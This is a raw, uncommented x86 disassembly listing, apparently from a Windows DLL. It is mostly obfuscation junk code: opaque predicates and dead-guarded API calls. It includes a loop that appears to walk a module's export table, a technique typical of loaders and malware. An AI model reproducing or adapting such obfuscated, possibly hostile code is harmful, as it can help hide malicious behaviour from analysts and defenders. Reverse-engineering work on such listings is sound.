call dword [sym.imp.USER32.dll_GetSysColorBrush]
jmp 0x1001dde0
mov dword [ebp - 0x66c], 0xfffc
mov dword [ebp - 0x228], 0xe1a0e1c2
mov dword [ebp - 0x674], 0x10b49f2b
mov dword [ebp - 0xc28], 0xab83de37
mov eax, dword [ebp - 0x228]
mov dword [ebp - 0xf28], eax
mov eax, dword [ebp - 0x674]
sub eax, 0x2624
cmp eax, 0x5d8d3410
jl 0x1001dd3e
mov dword [ebp - 0x664], 1
jmp 0x1001dd45
and dword [ebp - 0x664], 0
mov eax, dword [ebp - 0xc28]
cmp dword [ebp - 0x664], eax
jl 0x1001dd5f
mov dword [ebp - 0xb60], 1
jmp 0x1001dd66
and dword [ebp - 0xb60], 0
mov dword [ebp - 0x66c], 0x12c005d9
mov eax, dword [ebp - 0x66c]
mov dword [ebp - 0xf30], eax
mov eax, dword [ebp - 0x228]
mov dword [ebp - 0xf38], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0xfa8], eax
cmp dword [ebp - 0x674], 0
je 0x1001ddac
cmp dword [ebp - 0x48], 0
je 0x1001ddac
mov dword [ebp - 0x67c], 1
jmp 0x1001ddb3
and dword [ebp - 0x67c], 0
mov eax, dword [ebp - 0x228]
cmp dword [ebp - 0x67c], eax
jge 0x1001ddcd
mov dword [ebp - 0x684], 1
jmp 0x1001ddd4
and dword [ebp - 0x684], 0
mov eax, dword [ebp - 0x684]
mov dword [ebp - 0x228], eax
mov dword [ebp - 0x100], 0
jmp 0x1001ddf9
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 4
jge 0x1001de1b
push dword [ebp - 0x100]
lea ecx, [ebp - 0xf68]
call fcn.1002154c
mov dword [eax], 0xbe86de1f
jmp 0x1001ddec
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf68]
call fcn.10021530
mov eax, dword [ebp + 0x10]
dec eax
mov word [ebp - 0x8c], ax
jmp 0x1001f203
mov dword [ebp - 0x50], 1
mov dword [ebp - 0x108], 1
and dword [ebp - 0xdb4], 0
and dword [ebp - 0xdb0], 0
and dword [ebp - 0xdac], 0
and dword [ebp - 0xda8], 0
lea ecx, [ebp - 0x3c1]
call fcn.1002155b
push eax
lea eax, [ebp - 0xda4]
push eax
lea eax, [ebp - 0xdb4]
push eax
lea ecx, [ebp - 0x10d4]
call fcn.1002155e
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xf78]
call fcn.1002150a
mov dword [ebp - 4], 0x2f
cmp dword [ebp - 0x50], 0
je 0x1001dffd
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x50]
je 0x1001dec1
mov dword [ebp - 0x68c], 1
jmp 0x1001dec8
and dword [ebp - 0x68c], 0
cmp dword [ebp - 0x68c], 0xd39c
jne 0x1001dee0
mov dword [ebp - 0x694], 1
jmp 0x1001dee7
and dword [ebp - 0x694], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x694], eax
je 0x1001defe
mov dword [ebp - 0x69c], 1
jmp 0x1001df05
and dword [ebp - 0x69c], 0
mov eax, dword [ebp - 0x50]
imul eax, dword [ebp - 0x69c]
test eax, eax
je 0x1001df25
cmp dword [ebp - 0x50], 0
je 0x1001df25
mov dword [ebp - 0x6a4], 1
jmp 0x1001df2c
and dword [ebp - 0x6a4], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x6a4], eax
jge 0x1001df43
mov dword [ebp - 0x6ac], 1
jmp 0x1001df4a
and dword [ebp - 0x6ac], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x6ac], eax
je 0x1001df61
mov dword [ebp - 0x6b4], 1
jmp 0x1001df68
and dword [ebp - 0x6b4], 0
cmp dword [ebp - 0x6b4], 0x43b8a277
jl 0x1001df80
mov dword [ebp - 0x6bc], 1
jmp 0x1001df87
and dword [ebp - 0x6bc], 0
cmp dword [ebp - 0x6bc], 0xd004
jg 0x1001df9f
mov dword [ebp - 0x6c4], 1
jmp 0x1001dfa6
and dword [ebp - 0x6c4], 0
mov eax, dword [ebp - 0x6c4]
mov dword [ebp - 0x108], eax
mov eax, 0x67f5
add eax, 0x9869
cmp eax, dword [ebp - 0x50]
jne 0x1001dfcd
mov dword [ebp - 0x6cc], 1
jmp 0x1001dfd4
and dword [ebp - 0x6cc], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x6cc], eax
je 0x1001dfe8
cmp dword [ebp - 0x108], 0
je 0x1001dffd
mov eax, 0x41791e6e
test eax, eax
je 0x1001dffd
mov dword [ebp - 0x6d4], 1
jmp 0x1001e004
and dword [ebp - 0x6d4], 0
cmp dword [ebp - 0x6d4], 0xfffffff9
jge 0x1001e02f
mov byte [ebp - 0xf9], 0
movzx eax, byte [ebp - 0xf9]
test eax, eax
je 0x1001e02a
push 0x107e
call dword [sym.imp.USER32.dll_GetSysColorBrush]
jmp 0x1001e123
mov dword [ebp - 0x6e4], 0xfffc
mov dword [ebp - 0x230], 0xe1a0e1c2
mov dword [ebp - 0x6ec], 0x10b49f2b
mov dword [ebp - 0xcd4], 0xab83de37
mov eax, dword [ebp - 0x230]
mov dword [ebp - 0xfb0], eax
mov eax, dword [ebp - 0x6ec]
sub eax, 0x2624
cmp eax, 0x5d8d3410
jl 0x1001e081
mov dword [ebp - 0x6dc], 1
jmp 0x1001e088
and dword [ebp - 0x6dc], 0
mov eax, dword [ebp - 0xcd4]
cmp dword [ebp - 0x6dc], eax
jl 0x1001e0a2
mov dword [ebp - 0xb68], 1
jmp 0x1001e0a9
and dword [ebp - 0xb68], 0
mov dword [ebp - 0x6e4], 0x12c005d9
mov eax, dword [ebp - 0x6e4]
mov dword [ebp - 0xfb8], eax
mov eax, dword [ebp - 0x230]
mov dword [ebp - 0xfc0], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0xfc8], eax
cmp dword [ebp - 0x6ec], 0
je 0x1001e0ef
cmp dword [ebp - 0x50], 0
je 0x1001e0ef
mov dword [ebp - 0x6f4], 1
jmp 0x1001e0f6
and dword [ebp - 0x6f4], 0
mov eax, dword [ebp - 0x230]
cmp dword [ebp - 0x6f4], eax
jge 0x1001e110
mov dword [ebp - 0x6fc], 1
jmp 0x1001e117
and dword [ebp - 0x6fc], 0
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x108], 0
jmp 0x1001e13c
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 4
jge 0x1001e15e
push dword [ebp - 0x108]
lea ecx, [ebp - 0xf78]
call fcn.1002154c
mov dword [eax], 0xbe86de1f
jmp 0x1001e12f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf78]
call fcn.10021530
mov eax, dword [0x10619e3c]
and eax, 1
jne 0x1001e1a4
mov eax, dword [0x10619e3c]
or eax, 1
mov dword [0x10619e3c], eax
mov dword [ebp - 4], 0x30
mov ecx, 0x10619ebc
call fcn.10021572
push 0x10071ad3
call fcn.1005a7c7
pop ecx
or dword [ebp - 4], 0xffffffff
movzx eax, byte [0x10619d96]
test eax, eax
je 0x1001e63d
mov ecx, 0x10619ebc
call fcn.10021637
movzx eax, al
test eax, eax
jne 0x1001e63d
push 2
lea ecx, [ebp - 0xc34]
call fcn.100214ae
mov dword [ebp - 4], 0x31
push 1
lea ecx, [ebp - 0x42c]
call fcn.100214ae
mov byte [ebp - 4], 0x32
mov dword [ebp - 0x88], 0
jmp 0x1001e206
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 2
jge 0x1001e225
push dword [ebp - 0x88]
lea ecx, [ebp - 0xc34]
call fcn.1002154c
and dword [eax], 0
jmp 0x1001e1f9
mov dword [ebp - 0x88], 0
jmp 0x1001e23e
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 1
jge 0x1001e260
push dword [ebp - 0x88]
lea ecx, [ebp - 0x42c]
call fcn.1002154c
mov dword [eax], 0x2ee76f50
jmp 0x1001e231
push 0
lea ecx, [ebp - 0x42c]
call fcn.1002154c
and dword [eax], 0
jmp 0x1001e296
push 0
lea ecx, [ebp - 0x42c]
call fcn.1002154c
mov dword [ebp - 0x704], eax
mov eax, dword [ebp - 0x704]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x704]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x42c]
call fcn.1002154c
cmp dword [eax], 1
jg 0x1001e5cf
mov dword [ebp - 0x134], 1
mov dword [ebp - 0xc38], 1
push 1
lea ecx, [ebp - 0xc24]
call fcn.100214ae
mov byte [ebp - 4], 0x33
mov dword [ebp - 0x238], 0
jmp 0x1001e2ea
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 1
jge 0x1001e30c
push dword [ebp - 0x238]
lea ecx, [ebp - 0xc24]
call fcn.1002154c
mov dword [eax], 0x1462
jmp 0x1001e2dd
push 0
lea ecx, [ebp - 0x42c]
call fcn.1002154c
push dword [eax]
lea ecx, [ebp - 0xc34]
call fcn.1002154c
cmp dword [eax], 0
je 0x1001e33f
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0xc24]
call fcn.10021530
jmp 0x1001e5cf
mov dword [ebp - 0x134], 0
jmp 0x1001e358
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 1
jg 0x1001e5bb
mov dword [ebp - 0x70c], 2
mov dword [ebp - 0xa60], 0xf6285890
mov dword [ebp - 0xa5c], 0xf6285890
mov dword [ebp - 0xa58], 0xf6285890
mov dword [ebp - 0xa54], 0xf6285890
mov dword [ebp - 0xc38], 1
mov eax, 0x5d1c
test eax, eax
je 0x1001e3c6
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xa60], 0
je 0x1001e3c6
mov dword [ebp - 0x714], 1
jmp 0x1001e3cd
and dword [ebp - 0x714], 0
mov dword [ebp - 0x70c], 0
mov eax, dword [ebp - 0x70c]
cmp eax, dword [ebp - 0x714]
jle 0x1001e3f1
mov dword [ebp - 0x73c], 1
jmp 0x1001e3f8
and dword [ebp - 0x73c], 0
push 4
pop eax
imul eax, eax, 3
mov esi, dword [ebp + eax - 0xa60]
add esi, 9
push 0
lea ecx, [ebp - 0x42c]
call fcn.1002154c
cmp esi, dword [eax]
jle 0x1001e425
mov dword [ebp - 0x71c], 1
jmp 0x1001e42c
and dword [ebp - 0x71c], 0
push 0
lea ecx, [ebp - 0xc24]
call fcn.1002154c
mov ecx, dword [ebp - 0x71c]
cmp ecx, dword [eax]
jne 0x1001e44f
mov dword [ebp - 0x724], 1
jmp 0x1001e456
and dword [ebp - 0x724], 0
mov eax, dword [ebp - 0x134]
imul eax, dword [ebp - 0x724]
test eax, eax
je 0x1001e47c
mov eax, 0x442e119
test eax, eax
je 0x1001e47c
mov dword [ebp - 0xb70], 1
jmp 0x1001e483
and dword [ebp - 0xb70], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xa60]
mov dword [ebp - 0xfd0], eax
push 0
lea ecx, [ebp - 0x42c]
call fcn.1002154c
push dword [eax]
lea ecx, [ebp - 0xc34]
call fcn.1002154c
mov dword [ebp - 0x72c], eax
push 0
lea ecx, [ebp - 0x42c]
call fcn.1002154c
push dword [eax]
lea ecx, [ebp - 0xc34]
call fcn.1002154c
mov ecx, dword [ebp - 0x72c]
mov eax, dword [eax]
mov dword [ecx], eax
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0xa60]
mov ecx, dword [ebp - 0x72c]
cmp dword [ecx], eax
jl 0x1001e4fc
mov dword [ebp - 0x734], 1
jmp 0x1001e503
and dword [ebp - 0x734], 0
mov eax, dword [ebp - 0x134]
cmp dword [ebp - 0x734], eax
jle 0x1001e51d
mov dword [ebp - 0x744], 1
jmp 0x1001e524
and dword [ebp - 0x744], 0
mov eax, dword [ebp - 0x73c]
imul eax, dword [ebp - 0x744]
test eax, eax
ja 0x1001e541
mov dword [ebp - 0x74c], 1
jmp 0x1001e548
and dword [ebp - 0x74c], 0
mov eax, dword [ebp - 0x74c]
neg eax
cmp eax, 0x334adc6f
jne 0x1001e563
mov dword [ebp - 0x754], 1
jmp 0x1001e56a
and dword [ebp - 0x754], 0
push 0
lea ecx, [ebp - 0xc24]
call fcn.1002154c
mov ecx, dword [ebp - 0x754]
cmp ecx, dword [eax]
jl 0x1001e58d
mov dword [ebp - 0x75c], 1
jmp 0x1001e594
and dword [ebp - 0x75c], 0
push 0
lea ecx, [ebp - 0x42c]
call fcn.1002154c
mov ecx, dword [ebp - 0x75c]
add ecx, dword [eax]
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0xa60], ecx
jmp 0x1001e34b
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0xc24]
call fcn.10021530
jmp 0x1001e272
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0x42c]
call fcn.10021530
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc34]
call fcn.10021530
lea eax, [ebp - 0x268]
push eax
lea eax, [ebp - 0x764]
push eax
mov ecx, 0x10619ebc
call fcn.10021640
lea eax, [ebp - 0xfd8]
push eax
mov ecx, 0x10619ebc
call fcn.10021629
push eax
lea ecx, [ebp - 0x764]
call fcn.1002149b
movzx eax, al
test eax, eax
je 0x1001e63d
lea ecx, [ebp - 0x764]
call fcn.100216b0
mov eax, dword [eax + 4]
mov dword [ebp - 0x148], eax
push 1
lea ecx, [ebp - 0x420]
call fcn.100214ae
mov dword [ebp - 4], 0x34
mov dword [ebp - 0x194], 0x6c9cd49f
push 4
lea ecx, [ebp - 0xe1c]
call fcn.100214ae
mov byte [ebp - 4], 0x35
mov dword [ebp - 0x784], 0xfffffff8
mov dword [ebp - 0xcb4], 0x55ebda18
mov dword [ebp - 0x7b4], 0x8a600164
mov dword [ebp - 0x90], 0
jmp 0x1001e6a3
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 1
jge 0x1001e6c5
push dword [ebp - 0x90]
lea ecx, [ebp - 0x420]
call fcn.1002154c
mov dword [eax], 0xa394
jmp 0x1001e696
mov dword [ebp - 0x90], 0
jmp 0x1001e6de
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 4
jge 0x1001e700
push dword [ebp - 0x90]
lea ecx, [ebp - 0xe1c]
call fcn.1002154c
mov dword [eax], 0xcf59
jmp 0x1001e6d1
push 0
lea ecx, [ebp - 0x420]
call fcn.1002154c
cmp dword [eax], 9
jge 0x1001e71e
mov dword [ebp - 0x79c], 1
jmp 0x1001e725
and dword [ebp - 0x79c], 0
push 0
lea ecx, [ebp - 0x420]
call fcn.1002154c
mov esi, eax
push 0
lea ecx, [ebp - 0x420]
call fcn.1002154c
mov eax, dword [eax]
add eax, dword [esi]
mov dword [ebp - 0x194], eax
push 2
lea ecx, [ebp - 0xe1c]
call fcn.1002154c
push 0
lea ecx, [ebp - 0x420]
call fcn.1002154c
cmp dword [eax], 0
je 0x1001e77d
push 5
pop eax
test eax, eax
je 0x1001e77d
mov dword [ebp - 0x76c], 1
jmp 0x1001e784
and dword [ebp - 0x76c], 0
cmp dword [ebp - 0x76c], 0
je 0x1001e799
mov dword [ebp - 0x774], 1
jmp 0x1001e7a0
and dword [ebp - 0x774], 0
cmp dword [ebp - 0x774], 0x5ce
je 0x1001e7b8
mov dword [ebp - 0x77c], 1
jmp 0x1001e7bf
and dword [ebp - 0x77c], 0
mov eax, dword [ebp - 0x77c]
mov dword [ebp - 0x784], eax
mov esi, dword [ebp - 0x784]
push 0
lea ecx, [ebp - 0x420]
call fcn.1002154c
cmp esi, dword [eax]
jl 0x1001e7ee
mov dword [ebp - 0x78c], 1
jmp 0x1001e7f5
and dword [ebp - 0x78c], 0
push 0
lea ecx, [ebp - 0x420]
call fcn.1002154c
mov esi, dword [eax]
sub esi, dword [ebp - 0x78c]
push 0
lea ecx, [ebp - 0x420]
call fcn.1002154c
cmp esi, dword [eax]
jne 0x1001e827
mov dword [ebp - 0x794], 1
jmp 0x1001e82e
and dword [ebp - 0x794], 0
mov eax, dword [ebp - 0x794]
dec eax
je 0x1001e84c
cmp dword [ebp - 0xcb4], 0
je 0x1001e84c
mov dword [ebp - 0x7a4], 1
jmp 0x1001e853
and dword [ebp - 0x7a4], 0
mov eax, dword [ebp - 0x79c]
cmp eax, dword [ebp - 0x7a4]
jle 0x1001e86d
mov dword [ebp - 0x7ac], 1
jmp 0x1001e874
and dword [ebp - 0x7ac], 0
mov eax, dword [ebp - 0x7ac]
dec eax
mov dword [ebp - 0x7b4], eax
mov esi, dword [ebp - 0x7b4]
push 0
lea ecx, [ebp - 0x420]
call fcn.1002154c
cmp dword [eax], esi
jle 0x1001e8ae
mov dword [ebp - 0xb78], 0xfffffffe
mov dword [ebp - 0xb78], 0xfffffffe
jmp 0x1001e8f0
mov dword [ebp - 0x194], 0
jmp 0x1001e8c7
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 3
jg 0x1001e8f0
mov byte [ebp - 0x11d], 0
movzx eax, byte [ebp - 0x11d]
test eax, eax
je 0x1001e8ee
push 1
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
jmp 0x1001e8ba
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0xe1c]
call fcn.10021530
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x420]
call fcn.10021530
cmp dword [ebp - 0x148], 0xffffffff
jne 0x1001f203
mov ecx, 0x10619ebc
call fcn.10021770
mov ecx, dword [ebp - 0xc8]
add eax, dword [ecx + 0x18]
push eax
mov ecx, 0x10619ebc
call fcn.10021774
mov dword [ebp - 0x138], 0x1928c176
mov dword [ebp - 0x19c], 0xfffffffc
mov dword [ebp - 0x7cc], 0xfffffffd
mov dword [ebp - 0xb88], 9
mov dword [ebp - 0x138], 0
jmp 0x1001e97a
mov eax, dword [ebp - 0x138]
dec eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0xffffffee
je 0x1001ec00
mov dword [ebp - 0xcc8], 0xcf5aa05
mov dword [ebp - 0x7f4], 1
mov dword [ebp - 0x240], 0
jmp 0x1001e9b4
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 3
jge 0x1001e9d0
mov eax, dword [ebp - 0x240]
mov dword [ebp + eax*4 - 0xc44], 0
jmp 0x1001e9a7
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xc44], 0x15
jmp 0x1001e9fe
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc44]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xc44], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xc44], 0xfffffff2
jg 0x1001ebfb
push 1
lea ecx, [ebp - 0xc54]
call fcn.100214ae
mov dword [ebp - 4], 0x36
mov dword [ebp - 0x384], 0x9b6917ab
mov dword [ebp - 0x248], 0
jmp 0x1001ea49
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 1
jge 0x1001ea6b
push dword [ebp - 0x248]
lea ecx, [ebp - 0xc54]
call fcn.1002154c
mov dword [eax], 1
jmp 0x1001ea3c
cmp dword [ebp - 0x19c], 0
je 0x1001ebdb
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x7bc], eax
push 0
lea ecx, [ebp - 0xc54]
call fcn.1002154c
mov ecx, dword [ebp - 0x7bc]
mov dword [eax], ecx
cmp dword [ebp - 0x7bc], 0
jne 0x1001eb54
cmp dword [ebp - 0x19c], 0xffffffff
jge 0x1001eabb
mov dword [ebp - 0x7c4], 1
jmp 0x1001eac2
and dword [ebp - 0x7c4], 0
mov eax, dword [ebp - 0x7c4]
sub eax, 0x5027
cmp dword [ebp - 0x384], eax
jge 0x1001eae1
mov dword [ebp - 0xc48], 1
jmp 0x1001eae8
and dword [ebp - 0xc48], 0
push 0
lea ecx, [ebp - 0xc54]
call fcn.1002154c
mov dword [ebp - 0xb80], eax
push 0
lea ecx, [ebp - 0xc54]
call fcn.1002154c
mov ecx, dword [ebp - 0xb80]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0xcc8]
mov dword [ebp - 0xfe0], eax
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x7cc], eax
mov eax, dword [ebp - 0x7cc]
mov dword [ebp - 0xff4], eax
mov eax, dword [ebp - 0x384]
mov dword [ebp - 0xffc], eax
cmp dword [ebp - 0x19c], 0
jne 0x1001eb54
and dword [ebp - 0x7d4], 0
jmp 0x1001eb5e
mov dword [ebp - 0x7d4], 1
mov eax, dword [ebp - 0x138]
cmp dword [ebp - 0x7d4], eax
je 0x1001eb78
mov dword [ebp - 0x7dc], 1
jmp 0x1001eb7f
and dword [ebp - 0x7dc], 0
cmp dword [ebp - 0x7dc], 0xffffffff
jle 0x1001eb94
mov dword [ebp - 0x7e4], 1
jmp 0x1001eb9b
and dword [ebp - 0x7e4], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xc44]
cmp dword [ebp - 0x7e4], eax
jge 0x1001ebbb
mov dword [ebp - 0x7ec], 1
jmp 0x1001ebc2
and dword [ebp - 0x7ec], 0
mov eax, dword [ebp - 0x384]
add eax, dword [ebp - 0x7ec]
mov dword [ebp - 0x7f4], eax
cmp dword [ebp - 0x7f4], 0
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0xb88], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc54]
call fcn.10021530
jmp 0x1001e9e3
jmp 0x1001e96d
and dword [ebp - 0x140], 0
jmp 0x1001ec16
mov eax, dword [ebp - 0x140]
inc eax
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0x140]
cmp ecx, dword [eax + 0x18]
jae 0x1001f203
push 4
lea ecx, [ebp - 0xc64]
call fcn.100214ae
mov dword [ebp - 4], 0x37
mov dword [ebp - 0xc58], 0x8f8256a9
mov dword [ebp - 0x804], 0x6745
mov dword [ebp - 0x250], 0
jmp 0x1001ec6c
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 4
jge 0x1001ec8b
push dword [ebp - 0x250]
lea ecx, [ebp - 0xc64]
call fcn.1002154c
or dword [eax], 0xffffffff
jmp 0x1001ec5f
push 2
lea ecx, [ebp - 0xc64]
call fcn.1002154c
and dword [eax], 0
jmp 0x1001ecc1
push 2
lea ecx, [ebp - 0xc64]
call fcn.1002154c
mov dword [ebp - 0x7fc], eax
mov eax, dword [ebp - 0x7fc]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x7fc]
mov dword [ecx], eax
push 2
lea ecx, [ebp - 0xc64]
call fcn.1002154c
cmp dword [eax], 0xffffffe9
je 0x1001ece0
cmp dword [ebp - 0xc58], 0
je 0x1001ecde
jmp 0x1001ece0
jmp 0x1001ec9d
mov eax, dword [ebp - 0x804]
inc eax
mov dword [ebp - 0x804], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc64]
call fcn.10021530
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0x150]
add ecx, dword [eax + 0x20]
mov eax, dword [ebp - 0x140]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x82c], eax
cmp dword [ebp - 0x82c], 0
je 0x1001f1fe
mov dword [ebp - 0x1a4], 0
mov dword [ebp - 0x38c], 5
mov dword [ebp - 0x258], 0
jmp 0x1001ed54
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 1
jge 0x1001ed70
mov eax, dword [ebp - 0x258]
mov dword [ebp + eax*4 - 0x80c], 0x9b31
jmp 0x1001ed47
mov dword [ebp - 0x1a4], 0
jmp 0x1001ed89
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 0
jg 0x1001ef62
mov dword [ebp - 0xc0], 0x3d1bca9d
push 1
lea ecx, [ebp - 0xe34]
call fcn.100214ae
mov dword [ebp - 4], 0x38
mov dword [ebp - 0x98], 0
jmp 0x1001edcd
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 1
jge 0x1001edec
push dword [ebp - 0x98]
lea ecx, [ebp - 0xe34]
call fcn.1002154c
or dword [eax], 0xffffffff
jmp 0x1001edc0
mov dword [ebp - 0x98], 0
jmp 0x1001ee05
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 3
jge 0x1001ee21
mov eax, dword [ebp - 0x98]
mov dword [ebp + eax*4 - 0x1074], 0xffffffff
jmp 0x1001edf8
mov dword [ebp - 0xc0], 0x34d
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x1008], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x80c]
mov dword [ebp - 0x1010], eax
or eax, 0xffffffff
je 0x1001ee64
cmp dword [ebp - 0xc0], 0
je 0x1001ee64
mov dword [ebp - 0xb90], 1
jmp 0x1001ee6b
and dword [ebp - 0xb90], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x80c]
imul eax, dword [ebp - 0xc0]
mov dword [ebp - 0x38c], eax
cmp dword [ebp - 0x38c], 0
mov eax, 0x41a80d1c
cmp eax, 3
je 0x1001eea2
mov dword [ebp - 0x814], 1
jmp 0x1001eea9
and dword [ebp - 0x814], 0
mov eax, dword [ebp - 0x1a4]
add eax, dword [ebp - 0x814]
cmp dword [ebp - 0xc0], eax
je 0x1001eec9
mov dword [ebp - 0x81c], 1
jmp 0x1001eed0
and dword [ebp - 0x81c], 0
mov eax, dword [ebp - 0xc0]
imul eax, dword [ebp - 0x81c]
test eax, eax
je 0x1001eef6
cmp dword [ebp - 0x38c], 0
je 0x1001eef6
mov dword [ebp - 0xcbc], 1
jmp 0x1001eefd
and dword [ebp - 0xcbc], 0
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x1004], eax
mov eax, 0xa19820b2
neg eax
cmp eax, dword [ebp - 0xc0]
jge 0x1001ef24
mov dword [ebp - 0x824], 1
jmp 0x1001ef2b
and dword [ebp - 0x824], 0
push 0
lea ecx, [ebp - 0xe34]
call fcn.1002154c
mov ecx, dword [ebp - 0x824]
imul ecx, dword [eax]
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x1074], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe34]
call fcn.10021530
jmp 0x1001ed7c
mov eax, dword [ebp - 0x82c]
mov ecx, dword [ebp - 0x150]
add ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x1094]
call fcn.1002144c
mov dword [ebp - 4], 0x39
mov dword [ebp - 0x4c], 0xc3eee2fd
mov dword [ebp - 0x6c], 1
mov dword [ebp - 0x45c], 0x1f0ef2f3
mov dword [ebp - 0xc68], 0xb38e
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0xf94], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0xf9c], eax
cmp dword [ebp - 0x4c], 0
cmp dword [ebp - 0x6c], 0
jne 0x1001efcf
or eax, 0xffffffff
jne 0x1001efcf
and dword [ebp - 0x834], 0
jmp 0x1001efd9
mov dword [ebp - 0x834], 1
mov eax, dword [ebp - 0x6c]
cmp dword [ebp - 0x834], eax
jle 0x1001eff6
cmp dword [ebp - 0x6c], 0
je 0x1001eff6
mov dword [ebp - 0x83c], 1
jmp 0x1001effd
and dword [ebp - 0x83c], 0
mov eax, dword [ebp - 0x4c]
imul eax, dword [ebp - 0x83c]
test eax, eax
je 0x1001f01d
cmp dword [ebp - 0x6c], 0
je 0x1001f01d
mov dword [ebp - 0xb98], 1
jmp 0x1001f024
and dword [ebp - 0xb98], 0
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0xe80], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0xfd4], eax
mov eax, dword [ebp - 0x6c]
sub eax, dword [ebp - 0x6c]
je 0x1001f04f
or eax, 0xffffffff
je 0x1001f04f
mov dword [ebp - 0x844], 1
jmp 0x1001f056
and dword [ebp - 0x844], 0
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x844], eax
jle 0x1001f06d
mov dword [ebp - 0x84c], 1
jmp 0x1001f074
and dword [ebp - 0x84c], 0
mov eax, dword [ebp - 0x6c]
cmp dword [ebp - 0x84c], eax
jne 0x1001f08d
xor eax, eax
inc eax
jne 0x1001f08d
and dword [ebp - 0x448], 0
jmp 0x1001f097
mov dword [ebp - 0x448], 1
mov eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0x448]
jl 0x1001f0ae
mov dword [ebp - 0x44c], 1
jmp 0x1001f0b5
and dword [ebp - 0x44c], 0
mov eax, dword [ebp - 0x6c]
imul eax, dword [ebp - 0x44c]
cmp eax, dword [ebp - 0x6c]
jne 0x1001f0d0
mov dword [ebp - 0x454], 1
jmp 0x1001f0d7
and dword [ebp - 0x454], 0
imul eax, dword [ebp - 0x454], 0xffff
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x45c], 0
mov dword [ebp - 0x4c], 0
